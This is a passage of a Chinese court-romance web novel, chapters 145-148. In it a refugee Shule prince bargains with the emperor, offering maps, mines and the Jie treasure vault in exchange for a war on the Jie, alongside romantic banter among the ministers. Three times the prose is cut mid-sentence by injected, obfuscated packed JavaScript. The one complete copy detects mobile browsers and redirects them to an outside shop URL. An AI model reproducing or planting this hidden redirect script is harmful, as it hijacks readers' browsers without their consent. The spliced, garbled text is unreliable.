待礼部尚书感动完毕,才后知后觉地看向燕修延,眼神亮晶晶的:“燕大人,我与漠大人大婚,到时候你定会备上厚礼相送的吧?” 燕修延咧开的嘴角猛地一收,随即又缓缓扬起,笑容里多了几分别有用心的狡黠,语气笃定又大方:“宁大人尽管放心,贺礼之事,包在我身上,定然不会让你失望便是。” 145. 你猜,语秋听不听我的? 田靖连夜赶制的地景盘稳稳摆在监察司,山川关隘、城池路径缩于方寸之间,漆木边缘还带着新打磨的温润光泽。 “这里可不能乱摸哦。” 朱语秋牵着南宫何遥的衣袖踏进监察司,少女脚步轻快,身后的人亦步亦趋,异域长相的脸上带着几分怯生生的拘谨。 朱语秋停下脚步,回头对着南宫何遥眨眨眼,故意压低声音吓唬:“这里到处都藏着机关,碰错了可要被锁住的。” 南宫何遥立刻往朱语秋身边凑了凑,肩膀紧紧挨着她的胳膊,原本就不太连贯的话语更显依赖:“我跟着、语秋,不、乱摸,语秋会、保护我、的。” 他眼神澄澈,一副全然信赖的模样,全然没了初见时的桀骜,只剩人畜无害的乖巧。 燕修延看着这一幕,嘴角控制不住地抽了抽,脑海里下意识代入谢伟恒敢这么装……他铁定一巴掌直接给人扇到墙根去。 压下心头荒诞的念头,燕修延抬手指了指精致的地景盘,又指了指旁边桌案上铺展平整的麻纸,语气干脆:“你仔细回忆回忆,当初从敌营逃出来的路线,看看能不能在这上面画出来。” 南宫何遥蹲下身凑近地景盘,指尖悬在半空细细端详,片刻后皱起眉,指着地景盘的边缘,语气笃定:“小了。” 朱语秋轻声向燕修延解释:“他说,他逃出来的地方,比这地景盘标注的范围还要远得多。” 比这还远…… 燕修延眸色微沉,眼底瞬间掠过一丝审视,目光落在南宫何遥低垂的眉眼间,语气陡然锐利:“你是从羯人都城逃出来的?” 话音落下,南宫何遥浑身几不可查地一僵,方才的怯懦温顺散去几分,眼底飞快闪过一丝刻骨的恨意,快得让人抓不住,却还是被燕修延尽收眼底。 燕修延心中的猜测落定了,语气不带半分疑问,只剩全然的肯定:“你是疏勒国王室中人。” 南宫何遥抿紧唇,依旧沉默不语,既不承认也不否认。 朱语秋以为他是听不懂大虞官话,连忙蹲下身,一边用手比划着城池、王族的模样,一边放慢语速,把燕修延的话一字一句重复给他听,耐心又温柔。 南宫何遥的目光落在朱语秋认真的眉眼间,嘴唇轻轻动了动,良久,才用极低的声音应了一个字,带着难以掩饰的沙哑:“是。” 话音刚落,他的眼眶便骤然红了,长长的睫毛微微颤抖,声音哽咽:“只剩下我了。” 一国王族,万千亲族,如今竟只剩他孤身一人,苟延残喘。 “没事的,以后我们一定会把羯人彻底打趴下,替你报仇。” 朱语秋伸手轻轻拍了拍南宫何遥的头顶,语气软糯却带着十足的底气安慰:“等到那一天,把羯人的王族拉去大街上游街,我带你一起去扔臭鸡蛋,好好出一口恶气。” 燕修延在旁听得失笑,摇了摇头插话:“未必会有游街那般麻烦,说不定我直接提着羯人王族的首级,进宫来找陛下换金子,来得更痛快。” 他转身取来一幅边境详图,平铺在南宫何遥面前,指尖轻点纸面:“你从羯人都城一路逃出来的路,能在这地图上画出来吗?大致方位即可。” 南宫何遥伸手拿起毛笔,指尖握笔的姿势略显生涩僵硬,他趴在桌案上,盯着地图看了许久,才缓缓落下第一笔。 墨线在纸面上蜿蜒延伸,燕修延站在一旁静静看着,只见他画的尽是深山小径、荒僻古道,有好几段路线,连官方修订的地图上都未曾标注,尽是人迹罕至的险路。 纸上的墨线看着不长,可细细推算,这般辗转跋涉,实际走起来,不知要历经多少风霜雨雪、饥饿艰险,耗费多少日夜。 朱语秋看着那曲折的路线,再看向南宫何遥单薄的身形,眼底瞬间溢满心疼,总算明白当初初见他时,为何会是那般衣衫褴褛、面黄肌瘦的凄惨模样。 温瑞听说赫连佑安来皇骁司了,攥着一把清扫的扫帚,风风火火地冲了进来,一进门就嚷嚷:“卷毛——语秋,你怎么也跟着来这种地方了?” 他打心底里对来历不明的南宫何遥没好感,恨不得直接把人扫地出门。 燕修延不动声色地给温瑞递了个眼色。 温瑞瞬间会意,强压下赶人的心思,立刻换上一副和善的模样,三言两语找了个由头,哄着朱语秋先离开了正厅。 待厅内只剩二人,燕修延也不再绕弯子,径直走到南宫何遥面前,开门见山:“你从羯人都城出逃,一路目标明确地往大虞境内赶,不是为了苟活,是想借大虞的力量报仇,对么?” 那些路线虽有偏离,可大方向始终直指大虞,这般心思根本藏不住。 朱语秋不在身边,南宫何遥说话瞬间连贯顺畅,没了半分磕巴,眼神也变得坚定:“是。” 他抬眼看向燕修延,语气带着筹码般的郑重,“我知道一处金矿,一处铜矿,只要大虞出兵灭了羯人,我便把两处矿藏的具体地点告知你们。” 燕修延双臂环胸,神色平淡,丝毫没有露出心动的模样,语气淡淡反问:“我怎么知道,你口中的这两处矿藏,不是早已被人开采殆尽的废矿?” 南宫何遥眉头微蹙,显然是会错了意,认真辩解:“矿,要挖,不是藏起来的,从来没有挖过。” 燕修延闻言一噎,无奈摆了摆手:“我说的是矿藏的虚实,不是藏矿,罢了,跟你解释不清。” 他懒得再纠结字词,直接戳破要害,“你给出的筹码太少了。” 南宫何遥眉头皱得更紧,思索片刻,开口:“我没有马,羯人境内养了很多战马。” 燕修延越发怀疑,这人是故意在曲解自己的意思,只是苦于没有证据。 他往前半步,压迫感尽显:“除了金矿、铜矿,你还知道什么?” 南宫何遥直视着他,语气直白却带着坚持:“我知道很多机密,但不能和你说,现在不能。” “我也不好奇。” 燕修延嗤笑一声,语气冷了几分:“再等几日我寻个由头,让语秋把你送走。一个底细不明、心思难测的人,不适合留在她身边。” 他看穿了南宫何遥的依仗,语气带着几分玩味:“你猜,在我和你之间,语秋是听我的,还是听你的?” 说完,燕修延不再停留,转身便往外走。 南宫何遥攥紧了拳头,终究是没能沉住气,开口叫住他:“我要和你们的皇帝说。” “行。” 燕修延脚步一顿,爽快应下,随即招手叫来一名下属:“你去告知语秋,南宫何遥身份特殊,事关边境要务,我需带他进宫面圣,在陛下面前过个明路,事后会直接把人安全送去镖局,让她不必担心。” 安排妥当,燕修延便带着南宫何遥直奔皇宫御书房。 到了殿外,他示意南宫何遥在廊下等候,自己独自推门入内。 “陛下。” 燕修延一扫平日的沉稳,脚步轻快地小跑到虞睿祥身边,下意识凑到皇帝耳畔,压低声音,语气难掩兴奋:“有桩大买卖,起步就是一座金矿、一座铜矿!” 身后忽然传来一道幽幽的声音,带着几分似笑非笑的意味:“我倒是不知道,原来燕大人与陛下私下竟是这般亲近无间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕修延收敛心神,从朱语秋在城外捡到落魄的南宫何遥说起,细细讲了这几日的观察,再到方才在地景盘前的对话,一字不落,悉数禀报。 虞睿祥指尖轻点桌面,瞬间便理清了其中关节:“疏勒国遗孤,借大虞之力复仇,倒是打的好算盘。” 疏勒国王族,确实姓南宫。 听闻当年疏勒国都城被羯人攻破,王族全员留下断后,以性命为百姓争取逃亡时间,气节倒是不弱。 只可惜终究国力悬殊,落得国破家亡的下场,羯人更是将疏勒王族尽数贬为奴隶,极尽凌辱。 虞睿祥抬手对殿外吩咐:“宣,南宫何遥。” 南宫何遥迈步踏进御书房,周身的怯懦尽数褪去,脊背挺得笔直,他对着御座上的虞睿祥屈膝行跪拜之礼,动作标准,不卑不亢。 虞睿祥没有立刻让他起身,端坐御座之上,神色淡漠地开口发问,语气带着帝王的冷峻:“疏勒国已亡,你一心复仇,意义何在?” 南宫何遥咬紧牙关,指节攥得发白,抬起头,目光坚定地直视虞睿祥,声音铿锵:“我不能让疏勒国的子民,一辈子沦为羯人的奴隶,活得连畜生都不如。” 虞睿祥神色未变,语气平淡却直击要害:“朕出兵灭了羯人,助你复仇,然后呢?若将来疏勒国在你的手中重新建国,国力日渐强大,转头便举兵进犯我大虞边境,到那个时候,朕岂不是成了大虞的千古罪人?” 146. 帮他筹谋搬空陛下私库 南宫何遥脊背绷得如同拉满的弓弦,指节死死攥起,骨节泛出青白,一字一顿,字字掷地有声,混着骨子里的倔强与孤注一掷:“我可以带领疏勒残存子民向我族世代信奉的神祇起誓,我疏勒子民世世代代绝不侵犯大虞一寸土地,若有违背必遭神祇厌弃,魂飞魄散,打入阿鼻地狱,永世不得超生!” 他话音落定,御书房内一时落针可闻,虞睿祥指尖轻叩桌案,神色平淡无波,直言开口,一句话便戳破了他最后的执念:“疏勒国,已经不在了。” 这话如同一记重锤,狠狠砸在南宫何遥心口,他身子几不可查地晃了晃,却依旧将后背挺得笔直,眉眼间燃着不屈的火光,沉声道:“国虽灭,可疏勒的子民还在,血脉还在!大虞有句古话,火烧不尽的野草,来年春风一吹,依旧能漫山遍野生长!” 燕修延挠了挠头,指尖蹭着下巴,满脸茫然地小声嘀咕:“大虞有这话吗?我怎么从没听过?” 谢伟恒垂眸轻笑,声线低沉温和,恰到好处地纠正:“是野火烧不尽,春风吹又生。” 燕修延转头看向谢伟恒,眼底瞬间闪过几分讶异,随即满是佩服,悄悄冲他竖了个大拇指。 总算见识到,背诗比自己能力还强的人了。 虞睿祥将两人的小动作尽收眼底,心底暗自失笑,这燕修延跳脱随性,南宫何遥执拗赤诚,两人性子倒有几分相似,想来若是私下相处,应当很是聊得来。 他抬手虚扶,语气平淡却带着帝王的笃定:“南宫王子,坐吧。” 短短一句话,没有多余的承诺,却已然代表着大虞皇室,承认了他疏勒遗脉王子的身份。 “你说的金矿、铜矿,此事燕卿早已与朕说过,我大虞地大物博,物产丰饶,区区两座矿脉,于大虞而言算不得什么稀罕之物。” 这话听在南宫何遥耳中,只觉是帝王的客套与试探,他不信大虞没有讨伐羯人的想法,若没有足够的筹码,大虞绝不会轻易出兵讨伐残暴的羯人,当即往前微倾身子,抛出筹码:“陛下,我能画出羯国全境的详细地图,山川地势、驻军布防,皆标注清楚。” 虞睿祥眸底终于泛起一丝感兴趣的神色,身子微微后仰,语气带着几分考究:“哦?那朕凭何相信,你画的是真实详尽的地图,而非引我大虞将士踏入陷阱的诱饵?” 南宫何遥微微皱眉:“陛下大可派将士,拿着地图前往羯国边境探查,走上一遭,便知真假。” 听语气,他似乎有些困惑,一国之君为何会问出这般愚蠢的问题。 燕修延实在没忍住,猛地低下头,额头轻轻抵在谢伟恒的肩膀上,肩膀不住地微微颤动,闷声偷笑。 谢伟恒稳稳坐着,任由他靠着,指尖轻轻扶了他一把,眼底满是温软笑意。 虞睿祥将这一幕看在眼里,无奈地顿了顿,强忍着瞪燕修延一眼的冲动。 “除此之外,南宫王子还能为大虞带来什么?” 南宫何遥指尖摩挲着衣袖,迟迟没有开口。 他知道自己手中的筹码有限,绝不能一次性将底牌尽数亮出,否则便再无谈判的底气。 虞睿祥也不催促,神色淡然地拿起桌案上的奏折,执起朱笔慢慢批阅,御书房内只剩下笔尖划过纸张的轻响,气氛静谧却不压抑。 燕修延待得无聊,索性侧过身子,压低声音跟谢伟恒闲聊,语气漫不经心:“我觉得跟羯人开战这事,急不得,得往后拖一拖,咱们不打无准备的仗,粮草、兵马、情报,样样都得筹备妥当才行。” 谢伟恒微微颔首,目光温和,轻声附和,语气里多了几分考量:“燕大人所言极是,只是疏勒那些被羯人奴役的百姓,身处水深火热之中,未必能撑到大虞万事俱备的那一日。” “嗨,这关我大虞什么事。” 燕修延无所谓地耸耸肩,脸上没半分忧国忧民的模样,笑嘻嘻地转移了话题,“比起这个,我更在乎今儿个能做什么好吃。” 谢伟恒被他这副模样逗笑,眉眼弯弯,轻声询问:“那燕大人想吃些什么?” 两人正低声闲聊着,虞睿祥放下朱笔,忽然插话进来,语气带着几分纵容:“既然饿了,便可留在宫中用膳,朕让御膳房多备些酒菜。” 燕修延眼睛一亮,当即点头应下,半点不跟陛下客气:“好啊好啊,正好蹭陛下一顿饭,能省一顿饭钱,划算!” 虞睿祥被他这理直气壮的模样逗得失笑,无奈摇头:“你身为朝廷重臣,俸禄丰厚,何时连一顿饭钱都要这般省了?” “省钱又不是丢人的事,有错吗?” 燕修延抬着下巴,语气理直气壮,一脸理所当然。 谢伟恒在一旁帮腔,神色认真,语气笃定:“陛下,勤俭持家,本就是我大虞的传统美德,燕大人这是以身作则。” 两人一唱一和,坐在一旁的南宫何遥彻底愣在原地,看着眼前毫无帝王臣子规矩、闲聊打趣的三人,只觉得自己与这里格格不入,仿佛身处两个完全不同的世界。 他心中清楚,自己如今一无所有,能指望的,唯有强大的大虞,只能放手一搏。 深吸一口气,南宫何遥攥紧拳头,终于开口抛出重磅消息:“陛下,我在羯人营地无意间听到,大虞朝堂之上有官员与羯人暗中勾结,关系匪浅。” 虞睿祥只是淡淡抬眼,语气平静地应了一声:“哦。” 燕修延更是一脸习以为常,漫不经心地开口:“这再正常不过了,偌大一个朝廷,谁家还没两个胳膊肘往外拐、吃里扒外的奸佞之徒,没什么稀奇的。” 反正南宫何遥肯定也不知道具体是谁,这个消息用处不大。 两人这般镇定淡然的模样,让南宫何遥心里犯了嘀咕,一时拿不准。 他们是压根不相信自己的话,还是早已知晓内奸是谁。 南宫何遥咬了咬牙,知道自己必须拿出最终的底牌,才能彻底打动大虞帝王:“我有完整的西域全境地图,哪怕是深山小路、隐秘隘口,全都标注得一清二楚,比大虞现有的西域地图详尽数倍!” 虞睿祥合上手中奏折,抬眼看向他,眸中闪过一丝郑重:“哦?” 南宫何遥垂眸,眼底闪过一丝悲戚,声音低沉:“我的王兄曾经走遍整个西域,他画的地图我记在脑子里,比你们的要完全。” 他的王兄想要找一处远离别国,水土尚可的地方,带领子民迁移过去。 可惜没有找到,他们的国家,也不在了。 虞睿祥眉梢微挑,显然有些不信:“西域地域辽阔,自古至今,朕从未听闻有何人能真正走遍全境。” 燕修延不等虞睿祥吩咐,立马快步上前,麻利地拿起桌案上的宣纸与毛笔,径直放到南宫何遥面前的桌几上:“别管那么多,先画!画出来一看便知真假!” 南宫何遥没有动,只是抬眼直直看向虞睿祥,眼神坚定,他必须先拿到帝王的承诺,才肯交出这张关乎身家性命的地图。 虞睿祥神色淡淡开口:“朕总得确认你所言非虚,若是你关起门来随意乱画,朕岂不是白白被你蒙骗?” 南宫何遥依旧端坐不动,语气执着:“我需要皇帝陛下给出承诺。” 虞睿祥神色威严,目光锐利地看向他,一字一句:“若你所画地图句句属实,待他日大虞大军踏平羯人都城之时,朕允你,亲自前往羯地,接走所有疏勒子民,任你安置。” 得到这句承诺,南宫何遥悬着的心终于落地,不再犹豫,当即拿起毛笔。 他用不惯毛笔,握笔姿势略显生硬,可下笔之时却毫不犹豫,线条流畅,标注清晰,一眼便能看出,绝非临时杜撰、胡乱作画。 画完一半,南宫何遥忽然停笔,抬眼看向虞睿祥,再次抛出诱饵:“剩下的一半,我暂且不能画。除此之外,我还知晓羯人藏宝库的所在之处,里面全是这些年羯人四处征战、掳掠各国抢来的奇珍异宝,金银无数。” 燕修延眼睛瞬间亮了,抬眼看向虞睿祥,面上看似平静无波,可那双灵动的眸子里,明晃晃写满了急切:陛下!别犹豫了!现在、立刻、马上去把这些钱财宝物都搬回来! 虞睿祥对上他这副财迷的模样,无奈地递去一个稍安勿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646304|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躁的眼神,示意他冷静。 “朕会即刻派人,查验这半张地图是否属实。” 燕修延立刻移开视线,拉着身旁的谢伟恒,转身就想溜出御书房。 虞睿祥好笑道:“修延,此事交由你去办。” “啊?” 燕修延脸上闪过一丝不情愿,磨磨蹭蹭地转过身,耷拉着脑袋应道:“臣遵旨。” 虽满心不愿,却还是不敢违抗圣旨,拿着半张地图,快步离开御书房,径直前往监察司。 燕修延将手中的宣纸直接扔到被关押的艾木都拉脸上,语气不耐烦:“睁开眼看看,这是不是你们那儿的地图?” 艾木都拉捡起宣纸,低头仔细端详,越看越是震惊,神色大变:“是……这是西域的地图,竟然连这般隐秘的小路都标注得清清楚楚,世间怎会有人能画出如此详尽的地图?” “行了行了,知道是真的就行,没你的事了。” 燕修延懒得跟他多言,一把抽回宣纸,转身就往外走。 艾木都拉连忙起身追上前,神色焦急地追问:“燕大人!楼兰……” 燕修延头也不回,脚步不停,只是随意地抬了抬手,语气轻飘飘的:“估摸着使者带着信快到了吧。” 说罢,便大步离开监察司,重新赶回御书房。 刚一进门,燕修延就一眼瞧见,御书房的桌案上,早已摆好了冰镇的瓜果与清茶。 谢伟恒端坐一旁,虞睿祥也在悠然品茶,二人好不惬意。 他当即停下脚步,眼神里满是控诉,直直看向虞睿祥和谢伟恒:我辛辛苦苦在外面跑腿办事,你们倒好,在这儿舒舒服服吃着喝着,也太不够意思了! 谢伟恒看着他委屈巴巴的模样,忍不住轻笑,伸手轻轻拍了拍他的手背,无声安抚。 虞睿祥已经把南宫何遥的底细和底牌都摸清楚了。 他留在这里,没有跟燕修延一起去,就是为了避免错漏任何一句与金银财宝相关的消息。 谢伟恒没什么大抱负,他只想陪着燕修延,帮他筹谋搬空陛下私库,看着他高兴便足矣。 燕修延瞬间领会他的用意,当即递去一个满满的赞许眼神,暗自夸他靠谱。 虞睿祥将两人眉来眼去的模样尽收眼底,眼皮忍不住跳了跳:这两人,该不会真敢在自己眼皮子底下,算计起他的私库钱财来了? “陛下,他画的没问题,不仅是真的,还详细得超乎想象,山川地势、驻军据点,全都标注得明明白白。” 燕修延将手中的地图郑重摆放在虞睿祥的桌案上,对着虞睿祥微不可查地点了点头。 “羯人向来四处掳掠,残暴无度,屡屡侵犯我大虞边境,两国本就有深仇大恨,这笔账,朕迟早要跟他们清算。待大虞灭了羯人之后,朕会亲自派专人,协助疏勒子民重建故土,让你们有安身之处。” 南宫何遥瞬间起身,对着虞睿祥深深躬身行礼,语气满是感激:“多谢皇帝陛下!” 虞睿祥抬手示意他起身落座,目光在他身上打量片刻,忽然开口,语气带着几分亲和:“不知南宫王子是否已经娶亲?朕可在朝中大臣的适龄女儿中,为你挑选一位才貌双全的贤妻,赐婚于你。” 燕修延出声提醒,语气急切:“陛下,您忘了,朱语秋在边境把他捡回来,带回京中的。” 虞睿祥一脸莫名,看向燕修延,不解道:“朕自然记得,你早已跟朕禀明过此事。” 燕修延在心里暗自叹气,疯狂吐槽:陛下平日里肯定不看民间话本,连最基本的救命之恩当以身相许都不懂! 也就遇到长得丑的,才会说什么当牛做马、来世再报,这般俊朗的王子,跟朱语秋分明是天造地设的一对! 南宫何遥皱起眉头,神色认真又坚定,直言道:“陛下,臣心中早已有心爱之人。” 虞睿祥先是一愣,随即瞬间反应过来,看着南宫何遥的神色,再联想到燕修延方才的提醒,当即一拍桌案,笑着开口:“原来你心仪的是语秋!这有何难,朕即刻下旨,为你们二人赐婚,成就一段佳话!” 147. 吃味还不忘跟燕修延算计 燕修延垂着眼,心里暗自腹诽:陛下这是赐婚赐得上瘾了,前脚刚给礼部、吏部两位尚书敲定了婚事,转头就想着给旁人牵线,倒是半点不闲着。 南宫何遥眉头微蹙,轻轻摇了摇头,语气坚定无比:“多谢皇帝陛下美意,只是我自有追求语秋的方式,绝不劳烦皇帝陛下赐婚。” 他想要的,从来不是帝王旨意促成的名分,而是朱语秋心甘情愿的倾心。 虞睿祥指尖轻点御案,漫不经心地瞥了他一眼,倒也不强求,毕竟南宫何遥并非大虞臣子,他也犯不着费心拿捏。 “也罢,随你。” 虞睿祥端起茶盏抿了一口,缓缓开口,“朕原本还打算封语秋为郡主,抬高她的身份,也好与你这疏勒王子的身份相配。” 南宫何遥再次摇了摇头,平日里锐利的眼神软了几分,带着几分真诚的谦逊:“语秋很好,是我配不上她。” 燕修延眼底瞬间漫开幸灾乐祸的笑意,唇角压都压不住。 他心里暗暗盘算,若是日后语秋真被眼前这愣头青追到手,回头他定要把今日这番话原封不动告诉语秋,瞧瞧这向来飒爽的姑娘,会怎么收拾这个口无遮拦的家伙。 虞睿祥也笑了,笑容里带着几分意味深长,看着南宫何遥道:“你既如此坚持,朕便依你。只是日后,她若是因你今日这番‘配不上’的话,狠狠教训你,你可还有一次反悔的机会。” “我绝不会反悔!” 南宫何遥几乎是脱口而出,斩钉截铁,目光澄澈又执着,字字铿锵,“这辈子,我要娶的人,从来只有语秋一个,绝无她人!” 他这番赤诚模样,旁人或许动容,燕修延却只觉得好戏在即,心里越发期待朱语秋得知真相后,狠狠收拾南宫何遥的那一天,只觉定然十分精彩。 虞睿祥不动声色间从南宫何遥口中套出了金矿与铜矿的具体位置,在原疏勒国境内的一处深山之中。 他心中暗定,打算先暗中派遣亲信前去探查,暂且不声张,以免打草惊蛇。 至于羯人藏匿的宝藏,虞睿祥眸中闪过一丝笃定,打算等彻底灭了羯国之后,再派人前去取出,届时大局已定,也无需顾虑太多。 虞睿祥看了一眼身旁神色慵懒的燕修延,无奈地抬手按了按发胀的额头。 希望到时候燕修延能给他多留一些钱财,偌大一个大虞王朝,四处都需要银两维系,国库再充盈,也经不住各处花销。 “时辰不早了,你们都留在宫中用御膳吧。”虞睿祥收敛心绪,开口留客。 燕修延自然没什么意见,御膳精致可口,留在宫中用膳倒也省心。 南宫何遥起身,神色急切地开口推辞:“多谢皇帝陛下好意,我便不留了,我要回去陪语秋一起吃饭,她在等我。” 燕修延忍不住伸出手指轻轻摇了摇,一脸了然地笑道:“你也太不了解语秋了,依我对她的了解,她向来随性,此刻怕是早就自己用膳了,顶多念着你,给你留几口剩菜罢了。” “燕大人了解的人,还真是多。”谢伟恒幽幽的声音,他语气清淡,带着一丝不易察觉的轻叹,眉眼微微低垂,长睫遮住眼底情绪。 那语气里的几分酸涩与幽怨,听得燕修延心头一挑,转头看向他,皮笑肉不笑道:“怎的,谢书令这是不服?” 谢伟恒轻轻摇了摇头,顺势伸手握住燕修延随意搭在座椅扶手上的手,掌心温度温热,语气温顺又缱绻:“燕大人不论说什么,做什么,我自然都是信服的,绝无半分不服。” “……” 燕修延瞬间沉默了一瞬,转头冲南宫何遥努了努嘴,打趣道:“瞧见没?学着点,就谢书令这通透劲儿,给你当师父都绰绰有余!” 南宫何遥本就一心想学着如何讨好朱语秋,此刻听燕修延这般说,只当是真心求教,神情严肃地点了点头,眼神里满是认真,丝毫不觉得有何不妥。 他真切地感受到了自己与谢伟恒之间的差距,暗暗下定决心,一定要好好学习,早日俘获朱语秋的芳心。 南宫何遥站起身,学着大虞朝臣的礼数,双手抱拳,对着谢伟恒深深一揖,恭恭敬敬地开口:“师父在上,受徒儿一拜!” “噗——” 燕修延再也忍不住,当场笑得前俯后仰,身子都跟着颤抖。 原本还觉得南宫何遥像是一头未经驯化的未成年野狼,桀骜难驯,如今看来,只要遇上和语秋相关的事,瞬间就变成了乖巧听话的狗崽子,憨态可掬。 虞睿祥念及帝王威严,不得不板着一张脸,死死强忍着上扬的嘴角,肩膀却还是控制不住地微微发颤。 南宫何遥一心求学,便也顺势留在宫中用了御膳。 御膳房精心烹制的菜肴,用料考究、做工精细,无论是色香味,都远非宫外的饭菜可比。 南宫何遥吃得十分满足,临走时还不忘开口询问:“陛下,这些饭菜十分美味,不知能否让我带一些回去,给语秋尝尝?” 虞睿祥抬手一挥,十分大方:“朕命御膳房重新做两道你喜欢的,你带回去便是。” 等宫人将食盒递到南宫何遥手中时,他看着手里足足五层的精致食盒,愣了一下,疑惑地开口:“不是说只做两道?多谢。” 燕修延慵懒地靠在椅背上,眉眼弯弯,笑着打趣:“你回去问语秋就知道是怎么回事了,她定会给你说个明白。” 因还有要事商议。 虞睿祥招来宫人,亲自送南宫何遥出宫。 等到南宫何遥的身影彻底消失在殿门外,殿内的气氛瞬间沉了下来,重回严肃。 虞睿祥抬手,指尖点了点燕修延,无奈又好笑地开口:“你瞧瞧他,连吃带拿的模样,跟你简直一个模子刻出来的,要拜师,也该拜你为师才是。” 燕修延一脸冤枉地喊冤:“陛下可别冤枉我!你是没瞧见他在语秋面前,又是装傻、又是装无辜、还扮可怜的样子,那一套手段,分明是谢书令的徒弟,跟我可没关系!” 谢伟恒只是笑着,将一杯温茶轻轻推到燕修延手边,眉眼温和,半点不为自己辩驳,任由他打趣。 言归正传。 虞睿祥神色微正,叮嘱燕修延:“南宫何遥身份特殊,又知晓诸多羯人、疏勒机密,你派人暗中盯牢他,切莫掉以轻心。” 燕修延颔首,语气笃定:“陛下放心,就算我不特意安排,自然也有人会时刻盯着他。” 把南宫何遥的真实身份告知温瑞,以温瑞的性子,怕是能一天十二个时辰寸步不离地盯着。 除此之外,他再另外安排几路人马暗中监视,双重保障,万无一失。 “嗯。” 虞睿祥满意点头,随即又补充了一句,语气里带着几分促狭:“记得找个恰当的时机告诉他心上人,她曾经差点被封为郡主的事。” 燕修延瞬间心领神会,眼底闪过一丝坏笑,故意捏着嗓子,捻起兰花指,娇滴滴地说道:“哎呦,陛下你好坏坏哦~” 这副故作娇媚的模样,让虞睿祥眼尾狠狠一抽,当即不动声色地反击:“跟你学的,多亏燕老师平日里教得好,朕才学会这般。” 谢伟恒又轻轻轻叹一声,语气带着几分委屈,慢悠悠开口:“我原以为,燕大人只做了我一个人的老师,没想到,陛下也跟着燕大人学了不少。” 燕修延脸上的笑容瞬间收起,转头瞪了虞睿祥一眼,心里暗自叫苦:陛下,你可真是害人不浅! 虞睿祥故作无事,淡定地移开视线,摆明了一副事不关己的模样。 反正谢伟恒吃味了,回头受罪的是燕修延。 跟他半点关系都没有。 燕修延暗暗磨牙,随即又灵机一动,换上一副得意的笑容,看着虞睿祥:“陛下,我今日可是立了大功,套出这么多重要消息,你不得好好赏我?” 虞睿祥看着他这副明目张胆邀功的模样,又好气又好笑,皮笑肉不笑地开口:“真要论起功劳,最大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢家本就家财万贯,谢伟恒当初给燕修延买宅子,出手阔绰,眼睛都不眨一下。 如今更是帮着燕修延从自己私库里拿东西,依旧半点不心疼。 离开皇宫后,燕修延先让马车拐到镖局,把替语秋带的赏赐送过去,这才和谢伟恒一同回了府邸。 回府之后,两人褪去一身繁琐官服,洗漱一番,换上了轻薄透气的柔软里衣,侧躺在靠窗的竹榻上。 窗外晚风习习,带着几分清凉,吹走了白日的燥热与烦闷,院中的树叶沙沙作响,格外静谧。 燕修延微微偏头,把谢伟恒拿着蒲扇的手往上抬了抬,轻声说道:“往脖子这边扇扇,头发散下来,有些闷热。” 谢伟恒依言照做,蒲扇轻轻摇动,带来阵阵凉风。 燕修延眯着眼睛,神色慵懒,忽然开口,语气带着几分思索:“你说,南宫何遥口中,那个与羯人暗中勾结的大虞内奸,会是谁?” 谢伟恒轻轻摇了摇头,他也没有头绪。 南宫何遥只知晓朝中有人与羯人私下往来,传递消息、互通有无,却不知晓此人的具体身份,一时间无从查起。 燕修延打了个哈欠,倦意渐渐涌上来,半眯着眼睛,随口开玩笑道:“说起来,语秋这般帮了南宫何遥,帮了朝廷,算不算得上是和亲的公主?” 谢伟恒垂眸思索片刻,轻声回应:“我倒觉得,与其说语秋是和亲公主,不如说南宫何遥是主动上门的和亲王子。” 从疏勒国到羯人都城,最终来到大虞,一心只想娶语秋,可不就是送上门来的赘婿嘛。 “你说得倒也没错。” 燕修延赞同地点了点头,嘴角勾起一抹笑意。 他又打了个哈欠,困意越来越浓,声音渐渐低沉下来,带着几分朦胧:“也不知道漠大人那边审讯得怎么样了,还有,之前送往楼兰的信,算算时日应该也已经送到了吧……” 148. 滚回家,床上夸去! 吏部尚书终于审完了二百多人。 礼部尚书也熬完了选秀的最后一场殿选。 两人各自回府便倒头大睡,连灯烛都忘了吹,整整两日,府里连个下人都不敢去扰。 直到第三日早朝,天光刚亮,两人才露面。 燕修延正歪在谢伟恒肩头打盹儿,眼尾一扫,瞬间精神了,语气里裹着促狭的笑:“呦,二位大人这是打哪儿来啊?” 礼部尚书一脸茫然,拱手道:“当然是打家里来啊,刚睡了两天,燕大人怎么这么问?” 吏部尚书的眼皮猛地一跳,常年在官场摸爬滚打的直觉让他嗅到了八卦的味道,沉声问:“外面传了什么?” 燕修延挑着眉,露出一口白牙,笑得一脸纯良无害:“也没什么,就是听说——” 他拖长了调子,看着两人瞬间绷紧的脸,慢悠悠道:“二位大人闭门不出,两日未出府,被传成了‘干柴烈火’呢。” 礼部尚书“啊?”了一声,眼睛瞪得溜圆,一时没反应过来这话里的暧昧。 吏部尚书脸一僵,一本正经地纠正:“干柴与烈火隔得远,烧不起来。” 礼部尚书反应过来了,他伸手捣了捣吏部尚书的胳膊,压低声音一本正经道:“漠大人,你这话等于承认了咱们俩是干柴烈火啊。” 吏部尚书面不改色:“陛下已赐婚,只能是干柴烈火了。” 礼部尚书愣了愣,随即一本正经点头:“……那好吧,那就干柴烈火吧。” 